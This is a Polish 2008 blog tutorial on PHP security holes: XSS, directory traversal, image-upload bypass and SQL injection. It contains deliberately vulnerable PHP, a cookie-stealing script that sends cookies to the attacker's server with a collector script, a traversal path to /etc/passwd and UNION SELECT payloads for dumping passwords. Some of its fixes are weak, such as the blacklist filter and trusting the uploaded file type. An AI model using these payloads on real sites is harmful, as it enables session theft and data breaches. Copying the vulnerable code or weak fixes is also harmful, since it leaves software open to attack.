RkBlog

Hardware, programming and astronomy tutorials and reviews.

Luki bezpieczeństwa w skryptach PHP

Artykuł opisujący najczęściej występujące luki w bezpieczeństwie skryptów napisanych w PHP jak - XSS polegające na wstrzykiwaniu kodu JS, czy SQL injection polegające na modyfikowaniu zapytań SQL

PHP pozwala tworzyć dynamiczne strony. Zazwyczaj takie strony posiadają system kontroli uprawnień (np. do panelu admina może wejść tylko admin) czy też zawiera poufne dane. Tworząc skrypt w dynamicznym języku musimy pamiętać że język jest głupi i zrobi wszystko na co mu pozwolimy - świadomie czy też nie.

Ataki XSS - Cross Site Scripting i HTML injection

Ataki tego typu polegają na dodaniu kodu HTML, JavaScript czy też dowolnego innego kodu w języku "Client-side" - wykonywalnym po stronie odbiorcy strony (a nie serwera). Skrypt jest wrażliwy na tego typu ataki jeżeli nie sprawdza dokładnie jakie dane wprowadził użytkownik (np. posty na forum dyskusyjnym). Przykładowy kod:
<?php

IF(isset($_POST['dane']))
	{
	echo 'Wpisałeś następujące dane:<br>';
	echo $_POST['dane'];
	// zapisać dane itd.
	}
echo '<form action="bug.php" method="post"><input type="submit" value="wyślij"><input type="text" name="dane" size="14"></form>';
Prosty formularz mogący być elementem np. shoutboxa. Skrypt działa. Po wpisaniu do formularza tekstu i wysłaniu formularza skrypt wyświetli zawartość wiadomości ale nie sprawdza wogóle danych z pola. Wystarczy wpisać:
<script>alert(document.cookie);</script>
By po wysłaniu zobaczyć to: Zawartość cookies z tej strony. Atakujący może przechwycić cookie (np. admina) i automatycznie "zalogować" się jako właściciel skradzionego cookie. Jeżeli po wprowadzeniu powyższego kodu w formularzu czy też potencjalnie w linku wyświetla się okno z informacją o cookies to aplikacja jest podatna na tego typu atak i dość łatwo przechwycić cookies użytkowników/admina. Wystarczy na naszym serwerze umieścić skrypt PHP o kodzie:
<?php

$f = fopen('cookies.txt', 'a');
$ip = $_SERVER['REMOTE_ADDR'];
$c = $_GET['cookie'];
fwrite($f, $ip.' '.$c."*N*");
fclose($f);
A w formularzu wpisać:
<script>document.location="http://Nasza strona/hack.php?cookie=" + document.cookie;</script>
Gdzie hack.php to nazwa pliku z kodem PHP. Powyższy kod JavaScript może nie zadziałać jeżeli dane z formularza nie są pozbawiane odwrotnych ukośników dodawanych automatycznie przed każdym cudzysłowem (zazwyczaj skrypt je usuwa...). Jeżeli skrypt zadziała osoba, która wejdzie na stronę zawierającą ten złośliwy kod "prześle" nam swoje cookie, które będziemy mogli oglądać w pliku cookies.txt na naszym serwerze.
Zabezpieczenia: po pierwsze wszystkie dane z formularza powinny być poddane działaniu funkcji strip_tags (jeżeli nie mają zawierać kodu HTML i innego) a jeżeli chcemy by kod HTML/inny był widoczny lecz nie wykonywalny (np. na forum) to dane wyświetlamy poprzez highlight_string.

Directory Traversal - czyli listowanie/dostęp do katalogów, do których dostępu nie powinniśmy mieć. Luka dość częsta w skryptach download/galerii listujących zawartość katalogów, np. takiego:
<?php
function download($patch = 'inne')
	{
	$katalog = @dir($patch) or die ('Can't read selected folder ');
	while ($plik_kat = $katalog->read())
	IF(is_file($patch.'/'.$plik_kat))
		{
		echo '- <a href="'.$patch.'/'.$plik_kat.'">'.$plik_kat.'</a><br>';
		}
	elseIF(is_dir($patch.'/'.$plik_kat))
		{
		echo '- <a href="bug.php?patch='.$patch.'/'.$plik_kat.'"><b>'.$plik_kat.'</b></a><br>';
		}
	$katalog->close();
	}

IF(!isset($_GET['patch']))
	{
	download();
	}
else
	{
	download($_GET['patch']);
	}
Ładny skrypt listujący zawartość katalogu "inne" i jego podkatalogów. Jeżeli coś jest plikiem to możemy go pobrać, jeżeli katalogiem to możemy wejść do niego. Ścieżka określana jest przez zmienną w linku patch. Przykładowa wartość dla podkatalogu w /inne: patch=inne/katalogX/, lecz równie dobrze ścieżka może być taka: patch=inne/../../../../../ - dwie kropki i ukośnik oznacza "przejdź do katalogu nadrzędnego, czyli możemy wyjść z narzuconego katalogu i np. pobrać sobie plik /etc/passwd ze słabo zabezpieczonego serwera linuksowego: Zabezpieczenia: strip_tags jako standard, oraz np.:
<?php

IF(ereg('../', $_GET['patch']))
	{
	die('HACKING ATTEMPT :)');
	}
Co uniemożliwi stosowanie ../ w ścieżce.

Problemów _GET ciąg dalszy - zmienne w linkach są szczególnie narażone na modyfikacje... zmienne z _POST "można" modyfikować tylko treścią wysyłaną z formularza. Niektóre skrypty korzystają ze zmiennych _GET by np. wyświetlać komunikaty na stronie (zmienna=to jest tekst) - skrypt po prostu wyświetla wartość zmiennej - rozwiązanie bardzo niemądre. Jeżeli już musisz skorzystać z takiej opcji ustal listę komunikatów i nie wstawiaj ich do zmiennych w _GET, wystarczy np. dać komunikat=1 co wyświetli komunikat o id 1... _GET w odróżnieniu od _POST nigdy nie powinien (i za bardzo nie może) zawierać kodu HTML i innego:
<?php
$_GET = array_map("strip_tags", $_GET);
array_map wykonuje podaną funkcję (strip_tags) na wszystkich elementach tablicy ($_GET :)). Taki kod podajemy na samym początku naszych skryptów.

Wysyłanie plików na serwer - naprostszy przykład - dodawanie awatara. Należy pamiętać o sprawdzaniu typu ładowanego pliku (jakie ma rozszerzenie i czy jest plikiem graficznym). Służy do tego m.in. funkcja getimagesize. Funkcja ta zwraca wartość true jeżeli plik jest plikiem graficznym (a przynajmniej wygląda na taki). NIE wolno polegać na true/false tej funkcji, należy sprawdzać również typ ładowanego pliku gdyż funkcję getimagesize da się oszukać. Wystarczy do pliku graficznego dodać kod PHP.
cat grafika.png kod.php > do_uploadu.php
Powyższe polecenie (linux/unix) łączy dwa pliki w jeden zawierający na początku kod binarny pliku graficznego a na końcu kod PHP. Funkcja getimagesize traktuje taki plik jak grafikę:
Array
(
    [0] => 22
    [1] => 22
    [2] => 3
    [3] => width="22" height="22"
    [bits] => 8
    [mime] => image/png
)
Lecz $_FILES już głupie nie jest:
  Array
(
    [name] => Array
        (
            [0] => upload.php
        )

    [type] => Array
        (
            [0] => application/x-php
        )

    [tmp_name] => Array
        (
            [0] => /tmp/php1qIglg
        )

    [error] => Array
        (
            [0] => 0
        )

    [size] => Array
        (
            [0] => 1339
        )
)
Type jest application/x-php a nie image/png

SQL injection to modyfikacja zapytań do bazy danych. Najprostsze - w linku mamy np. numer ID artykułu. Jeżeli kod zapytania nie jest zabezpieczony to można zmodyfikować wartość ID tak by poszerzyło zapytanie... Przykładowe zapytanie:
$query = $this->action->query("SELECT * FROM ".$this->tables['rk_articles']." WHERE art_id = $_GET[id]");
Jeżeli artykuł wywołujemy linkiem np. article.php?id=12 to zamieńmy 12 na:
article.php?id=12 OR 1=1
Zapytanie pobierze wtedy wszystkie artykuły bo warunek 1=1 zawsze jest prawdziwy :) Osoby znające język SQL mogą skorzystać z LEFT JOIN czy też UNION SELECT by pobrać inne dane. Np. jeżeli z tablicy artykułów pobieramy dane z 2 kolumn to proste UNION SELECT username, password FROM tabela_users wstawiona zamiast 1=1 spowoduje że zamiast np. tytułu i opisu artykułu ujżymy loginy i hasła użytkowników: Oczywiście jeżeli z artykułów pobieramy więcej kolumn to do naszego union wystarczy dopisać odpowiednią ilość null'ów, np: UNION SELECT username, password, null, null, null FROM tabela_users
RkBlog

PHP w Akcji, 14 July 2008,

Comment article